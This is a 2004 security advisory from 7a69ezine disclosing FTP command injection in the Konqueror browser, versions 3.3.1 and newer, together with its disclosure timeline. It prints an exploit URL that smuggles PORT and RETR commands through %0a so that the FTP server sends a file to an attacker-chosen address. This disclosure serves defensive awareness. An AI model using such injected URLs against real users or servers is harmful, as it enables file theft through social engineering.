The Konqueror web browser fails to properly filter FTP requests to disallow for local command execution. Versions 3.3.1 and newer are affected.
7f77bd00ca2b228448b93ab3f8771df0a2ca1907aa31108cc3cb5080cd5e42e7
- ------------------------------------------------------------------
7a69ezine Advisories 7a69Adv#16
- ------------------------------------------------------------------
http://www.7a69ezine.org [05/12/2004]
- ------------------------------------------------------------------
Title: Konqueror FTP command injection
Author: Albert Puigsech Galicia - <ripe@7a69ezine.org>
Software: Konqueror browser
Versions: >= 3.3.1
Remote: yes
Exploit: yes
Severity: Low-Medium
- ------------------------------------------------------------------
I. Introduction.
Konqueror is a very multifuncional HTTP browser included on KDE base package.
Like others browsers it can use more protocols, for example FTP. This
aplication is usualy used to navigate through the filesystems.
II. Description.
In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the
navigator connects to the server and executes the following commands (and
other that have omitted because they are not important for this stuff).
USER ftpuser
PASS ftppass
CWD /directory/
The security problem resides in which is posible to inject FTP commands on
the URL adding at the code %0a followed by your injected commands. If you do
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute
those commands.
USER ftpuser
PASS ftppass
CWD /directory
somecommand
The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.
III. Exploit
You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The explotation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is to
download files. Its posible to do that using this URL;
ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file
Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.
IV. Patch
Konqueror developers have been contacted, and patch will be avaliable soon.
V. Timeline
01/12/2004 - Bug discovered
02/12/2004 - KDE developers contacted
03/12/2004 - Fast developers reply
03/12/2004 - IE also afected, so we decide to publish the bug
05/12/2004 - Advisor released
VI. Extra data
You can find more 7a69ezine advisories on this following link:
http://www.7a69ezine.org/avisos/propios [spanish info]